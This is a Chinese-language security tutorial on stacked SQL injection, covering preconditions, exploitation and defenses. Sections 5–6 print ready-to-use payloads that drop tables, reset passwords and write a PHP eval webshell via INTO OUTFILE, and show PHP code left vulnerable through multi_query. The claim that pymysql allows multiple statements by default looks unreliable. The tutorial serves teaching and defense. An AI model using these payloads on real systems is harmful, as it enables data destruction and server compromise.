1. 引言
堆叠注入(Stacked Queries Injection)是 SQL 注入家族中一种较为特殊且危险的攻击手法。与普通 SQL 注入只能执行单条查询不同,堆叠注入允许攻击者在同一个数据库连接中执行多条 SQL 语句,从而获得更强的控制能力。本文将深入讲解堆叠注入的原理、触发条件、利用方式以及防御措施,帮助读者全面理解这一安全威胁。
2. 什么是堆叠注入
堆叠注入,英文全称为 Stacked Queries Injection,其核心思想是利用数据库驱动或中间件对多条 SQL 语句的支持,通过在原有查询语句后拼接额外的 SQL 语句,实现一次请求执行多条命令的效果。
在典型的 Web 应用中,后端代码通常会这样拼接 SQL:
sql
SELECT * FROM users WHERE id = '1'
如果应用未对用户输入做任何过滤,攻击者传入 1'; DROP TABLE users; --,最终拼接成的语句为:
sql
SELECT * FROM users WHERE id = '1'; DROP TABLE users; --'
当数据库支持一次执行多条以分号分隔的语句时,第二条 DROP TABLE users 就会被执行,造成严重破坏。
3. 堆叠注入与普通 SQL 注入的区别
理解堆叠注入的关键在于区分它与普通 SQL 注入的差异:
| 对比维度 | 普通 SQL 注入 | 堆叠注入 |
|---|---|---|
| 执行语句数量 | 单条 | 多条 |
| 分隔符 | 无(利用语法闭合) | 分号 ; |
| 影响范围 | 查询、数据读取 | 增删改查、DDL、甚至命令执行 |
| 利用难度 | 相对较低 | 较高(受环境限制) |
| 典型后果 | 数据泄露 | 数据破坏、提权、写马 |
普通 SQL 注入通常只能影响当前正在执行的这一条查询语句,而堆叠注入通过分号将多条语句串联,攻击者可以执行任意类型的 SQL 命令,包括 INSERT、UPDATE、DELETE、DROP 等。
4. 堆叠注入的触发条件
并非所有数据库环境都支持堆叠注入,其成功利用需要满足以下几个条件:
4.1 数据库驱动支持多语句执行
这是最核心的条件。不同的数据库驱动对多语句的支持情况不同:
- PHP + MySQL(mysqli) :
mysqli_multi_query()支持多语句执行,存在堆叠注入风险。 - PHP + MySQL(PDO) :默认情况下 PDO 不支持多语句,但若设置了
PDO::MYSQL_ATTR_MULTI_STATEMENTS为true,则存在风险。 - Java + JDBC:默认不支持多语句,但某些驱动配置下可以开启。
- Python + pymysql :
pymysql默认支持多语句,需要显式关闭。
4.2 数据库本身支持多语句
大多数主流数据库(如 MySQL、PostgreSQL、SQL Server)本身支持在一条预处理语句中执行多条以分号分隔的 SQL。但某些数据库(如 Oracle)默认不支持这种写法,限制了堆叠注入的利用。
4.3 代码未对输入进行过滤
应用层未对用户输入进行参数化查询或过滤,直接将用户输入拼接到 SQL 语句中,这是堆叠注入能够发生的前提。
5. 堆叠注入的利用方式
5.1 数据破坏
攻击者最常用的手法是执行破坏性语句:
sql
1'; DROP TABLE users; --
sql
1'; DELETE FROM orders; --
5.2 数据篡改
攻击者可以修改数据,例如将某个用户的密码重置:
sql
1'; UPDATE users SET password = 'hacked' WHERE id = 1; --
5.3 写入文件(GetShell)
在 MySQL 中,如果攻击者拥有 FILE 权限,可以通过堆叠注入写入 WebShell:
sql
1'; SELECT '<?php eval($_POST["cmd"]);?>' INTO OUTFILE '/var/www/html/shell.php'; --
5.4 调用存储过程
某些数据库支持在堆叠注入中调用存储过程,扩大攻击面:
sql
1'; CALL malicious_procedure(); --
6. 堆叠注入的实战示例
下面以一个简单的 PHP 代码为例,演示堆叠注入的完整攻击流程。
6.1 存在漏洞的代码
php
<?php
$mysqli = new mysqli("localhost", "root", "password", "test");
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id = '$id'";
$result = $mysqli->query($sql);
?>
注意:这里使用了 query() 方法,在 mysqli 中该方法默认只执行单条语句,因此上述代码实际上并不存在堆叠注入漏洞。真正存在漏洞的写法是使用 multi_query():
php
<?php
$mysqli = new mysqli("localhost", "root", "password", "test");
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id = '$id'";
$result = $mysqli->multi_query($sql);
?>
6.2 攻击过程
攻击者构造请求:
http
GET /user.php?id=1'; INSERT INTO logs (content) VALUES ('pwned'); -- HTTP/1.1
最终执行的 SQL 为:
sql
SELECT * FROM users WHERE id = '1'; INSERT INTO logs (content) VALUES ('pwned'); --'
第一条语句正常查询用户,第二条语句则向日志表插入了一条恶意记录,两条语句在同一连接中依次执行。
7. 堆叠注入的防御措施
7.1 使用参数化查询(PreparedStatement)
参数化查询是防御 SQL 注入(包括堆叠注入)最有效的手段:
java
PreparedStatement ps = conn.prepareStatement("SELECT * FROM users WHERE id = ?");
ps.setString(1, userId);
ResultSet rs = ps.executeQuery();
php
$stmt = $mysqli->prepare("SELECT * FROM users WHERE id = ?");
$stmt->bind_param("s", $id);
$stmt->execute();
7.2 关闭多语句支持
在数据库驱动层面关闭多语句执行能力:
php
// PDO 关闭多语句
$pdo = new PDO($dsn, $user, $pass, [
PDO::MYSQL_ATTR_MULTI_STATEMENTS => false
]);
python
# pymysql 关闭多语句
conn = pymysql.connect(host='localhost', user='root', password='pass', db='test', client_flag=0)
7.3 最小权限原则
数据库账号应遵循最小权限原则,避免使用 root 或高权限账号连接应用数据库。即使发生堆叠注入,攻击者也无法执行 DROP、FILE 等高危操作。
7.4 输入验证与过滤
对用户输入进行严格的类型校验和白名单过滤,例如 ID 参数强制为整数类型:
php
$id = (int)$_GET['id'];
7.5 Web 应用防火墙(WAF)
部署 WAF 可以拦截常见的堆叠注入攻击载荷,拦截分号 ; 及危险关键字(如 DROP、DELETE、INTO OUTFILE 等)。
8. 总结
堆叠注入是 SQL 注入中危害较大的一种形式,它突破了单条语句的限制,使攻击者能够执行任意 SQL 命令。其成功利用高度依赖数据库驱动对多语句的支持,因此在防御时,关闭多语句支持、使用参数化查询、遵循最小权限原则是三道最关键的防线。对于安全开发者而言,理解堆叠注入的原理与触发条件,是构建安全 Web 应用的重要基础。